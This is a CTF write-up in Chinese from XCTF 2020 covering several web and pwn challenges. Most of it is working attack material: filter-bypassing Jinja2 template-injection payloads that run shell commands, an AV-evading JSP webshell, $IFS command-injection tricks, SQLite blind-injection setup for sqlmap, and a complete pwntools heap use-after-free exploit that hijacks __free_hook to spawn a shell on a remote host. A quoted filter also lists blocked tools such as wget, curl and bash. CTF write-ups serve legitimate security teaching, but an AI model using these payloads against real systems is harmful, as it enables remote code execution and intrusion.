XCTF 2020 第一场 WriteUp - CNSS

XCTF高校网络安全专题挑战赛 Writeup - CNSS

Web

mine1_1

/success?msg=

模板注入

过滤了 ' " _ args []

request.cookies 绕过

1
2
{{()|attr(request.cookies.class)|attr(request.cookies.base)|attr(request.cookies.subclasses)()|attr(request.cookies.getitem)(59)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)(request.cookies.linecache)|attr(request.cookies.dict)|attr(request.cookies.getitem)(request.cookies.os)|attr(request.cookies.dict)|attr(request.cookies.getitem)(request.cookies.popen)(request.cookies.cmd)|attr(request.cookies.read)()}}
Cookie: class=__class__; base=__base__; subclasses=__subclasses__; getitem=__getitem__; init=__init__; globals=__globals__; linecache=linecache; dict=__dict__; os=os; popen=popen; read=read; cmd=cat flag.txt

mine2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
_ = '"{0:c}"|attr("fo"%2B"rmat")(95)'
g = '"{0:c}"|attr("fo"%2B"rmat")(103)'
u = '"{0:c}"|attr("fo"%2B"rmat")(117)'
blank = '"{0:c}"|attr("fo"%2B"rmat")(32)'
dot = '"{0:c}"|attr("fo"%2B"rmat")(46)'
add = "%2B"

def gen_str(s):
s_code = []
for i in s:
if i == "_":
s_code += [_]
elif i == "g":
s_code += [g]
elif i == "u":
s_code += [u]
elif i == " ":
s_code += [blank]
elif i == ".":
s_code += [dot]
else:
s_code += ['"' + i + '"']
return add.join(s_code)

if __name__ == "__main__":
print(gen_str("__class__"))
print(gen_str("__base__"))
print(gen_str("__subclasses__"))
print(gen_str("__globals__"))
print(gen_str("__getitem__"))
print(gen_str("__init__"))
print(gen_str("__dict__"))
print(gen_str("cat flag.txt"))
1
{%print(""|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"c"%2B"l"%2B"a"%2B"s"%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"b"%2B"a"%2B"s"%2B"e"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(117)%2B"b"%2B"c"%2B"l"%2B"a"%2B"s"%2B"s"%2B"e"%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))()|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"e"%2B"t"%2B"i"%2B"t"%2B"e"%2B"m"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))(117)|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"i"%2B"n"%2B"i"%2B"t"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"l"%2B"o"%2B"b"%2B"a"%2B"l"%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"e"%2B"t"%2B"i"%2B"t"%2B"e"%2B"m"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))("popen")("c"%2B"a"%2B"t"%2B"{0:c}"|attr("fo"%2B"rmat")(32)%2B"f"%2B"l"%2B"a"%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"{0:c}"|attr("fo"%2B"rmat")(46)%2B"t"%2B"x"%2B"t")|attr("read")())%}

webshell_1

Vue前端 jsp后端

Apache Tomcat/10.0.0-M10

1
2
POST /upload.jsp
body 为文件内容的 base64

jsp 免杀

unicode 绕过

1
<%java.io.InputStream input=Runtime.getRuntime().\\u0065\\u0078\\u0065\\u0063(request.getParameter("cmd")).getInputStream();int len=-1;byte[] bytes=new byte[4092];out.print("<pre>");while ((len = input.read(bytes)) != -1) {out.println(new String(bytes));out.print("</pre>");}%>

hids

1
cat$IFS$(find)

过滤规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask
from flask import render_template,request
import subprocess,re
app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
return render_template('index.html')

@app.route('/run',methods=['POST'])
def run():
cmd = request.form.get("cmd")
if re.search(r'''[^0-9a-zA-Z">\\\\\\$();]''',cmd):
return 'Hacker!'
if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''',cmd):
return 'Hacker!'
p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)
try:
(msg, errs) = p.communicate(timeout=5)
return msg
except Exception as e:
return 'Error!'

app.run(host='0.0.0.0',port='5000')Bud1 latesbw templatesbwspblob�bplist00�
]ShowStatusBar_SidebarWidthTenElevenOrLater[ShowToolbar[ShowTabView_ContainerShowSidebar\\WindowBounds[ShowSidebar[ShowPathbar#@_@ _{{495, 419}, {770, 436}} 'FR^u����������� templatesvSrnlong @� @� @� @E DSDB `� @� @� @cat: ./web/templates: Is a directory
1
cmd=ls$IFS$(printf$IFS"\\56\\56\\57\\56\\56\\57")

readflag90s后才能读出flag

detect.py可写

改成空就可以了

然后readflag就出了

pyer

sql盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<test>
<title>AND boolean-based blind - WHERE or HAVING clause</title>
<stype>1</stype>
<level>1</level>
<risk>1</risk>
<clause>1,8,9</clause>
<where>1</where>
<vector>1'or iif(1=([INFERENCE]),1,randomblob(10000000000000))-- -</vector>
<request>
<payload>1'or iif(1=1,1,randomblob(10000000000000))-- -</payload>
</request>
<response>
<comparison>1'or iif(1=0,1,randomblob(10000000000000))-- -</comparison>
</response>
</test>
POST /login HTTP/1.1
Host: 121.37.172.67:30891
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: <http://121.37.172.67:30891>
Connection: close
Referer: <http://121.37.172.67:30891/login>
Upgrade-Insecure-Requests: 1

username=aaa&password=admin&submit=%E7%99%BB%E9%99%86
python3 sqlmap.py -l ~/ctf/huawei_ctf/web3/sqlite.txt --random-agent --dbms=SQLite -p username --tables
users 表
username:admin password:sqlite_not_safe
comment 表
username:guest comment:you are so good
username=a'%20union%20select%20'{{[].__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat%20flag.txt").read()}}'--%20
username='+union+select+'{{[].__class__.__mro__[1].__subclasses__()[201].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag.txt").read()}}'+--+&submit=%E7%99%BB%E9%99%86

Pwn

cpp

保护全开

只有两个功能,添加堆块以及删除堆块

程序有一个 UAF,会在删除堆块后将其内容打印出来,然后让你在 free 掉的地方写东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
from time import sleep
import sys
context.log_level = 'DEBUG'

ver = '2.31'
elf_dir = './chall'
#ld_dir = '/glibc/x64/{0}/lib/ld-{0}.so'.format(ver)

libc_dir = './libc-2.31.so'
#libc_dir = "/glibc/x64/{0}/lib/libc-{0}.so".format(ver)

if(len(sys.argv) == 1):
p = process(elf_dir)
#p = process([elf_dir],env={"LD_PRELOAD": libc_dir})

#p = process([ld_dir, elf_dir], env={"LD_PRELOAD": libc_dir})
else:
p = remote('124.70.12.210', 10002)

def add(idx, data):
p.sendlineafter('> ', '0')
p.sendlineafter('> ', data)
p.sendlineafter('> ', str(idx))

def change_bytes(idx, data, need = False):
p.sendlineafter('> ', '1')
p.sendlineafter('> ', str(idx))
if need == True:
ret = p.recvuntil('> ')[:-3]
p.sendline(data)
return ret
else:
p.sendlineafter('> ', data)

def change_byte(idx, need = False):
p.sendlineafter('> ', '1')
p.sendlineafter('> ', str(idx))
if need == True:
ret = p.recvuntil('> ')[:-3]
p.send(b'\\n')
return ret
else:
p.sendafter('> ', b'\\n')

# leak heap
# -----------------------

add(0x0, b'\\x00'*6)
add(0x1, b'\\x00'*6)
add(0x2, b'\\x00'*6)

change_bytes(0x1, b'\\x00'*6)
ret = change_byte(0x0, True)
heap = u64(ret+b'\\x00\\x00') - 0x30
success('heap: ' + hex(heap))
add(0xff, b'\\xff'*6)
add(0xfe, b'\\xff'*6)

# leak libc
# -----------------------

add(0x0, b'\\x2f'*6)
add(0x1, b'\\x22'*6)
add(0x2, b'\\x22'*6)
add(0xd0, b'\\x22'*6)

change_bytes(0x2, b'\\x00'*6)
change_bytes(0x1, p64(heap+0x68)[:-2])
add(0xfd, b'\\xee'*6)
add(0xfc, p64(0x441)[:-2])

for i in range(36):
add(0x60+i, b'\\xdd'*6)

add(0x10, b'\\x33'*6)
add(0x11, b'\\x33'*6)
add(0x12, b'\\x44'*6)
add(0x13, b'\\x44'*6)
add(0x14, b'\\x55'*6)
add(0x15, b'\\x55'*6)
add(0x16, b'\\x66'*6)

# prepare binsh
p.sendlineafter('> ', '0')
p.sendlineafter('> ', b'/bin/sh')
p.sendlineafter('> ', str(0x99))

#pause()

ret = change_byte(0x0, True)

libc = ELF(libc_dir)
libc_base = u64(ret+b'\\x00\\x00') - 0x10 - 96 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.symbols['system']
main_arena = libc_base + libc.symbols['__malloc_hook'] + 0x10
success("libc_base: " + hex(libc_base))
success("free_hook: " + hex(free_hook))
success("system: " + hex(system))
success("main_arena: " + hex(main_arena))

# fix unsorted bin
# -----------------------
#gdb.attach(p, 'b *$rebase(0x13C6)\\nc')

change_bytes(0x11, b'\\x00'*6)
change_bytes(0x10, p64(main_arena+112)[:-2])
add(0x20, p64(0xdeadbeef)[:-2])
add(0x21, p64(main_arena+96)[:-2])

# modify free_hook
# -----------------------
change_bytes(0x12, b'\\x00'*6)
change_bytes(0x13, p64(main_arena+112+8)[:-2])
add(0x22, p64(0xdeadbeef)[:-2])
add(0x23, p64(main_arena+96)[:-2])

change_bytes(0x14, b'\\x00'*6)
change_bytes(0x15, p64(free_hook)[:-2])
add(0x24, p64(0xdeadbeef)[:-2])
add(0x25, p64(system)[:-2])

# trigger system("/bin/sh")
# -----------------------

p.sendlineafter('> ', '1')
p.sendlineafter('> ', str(99))

p.interactive()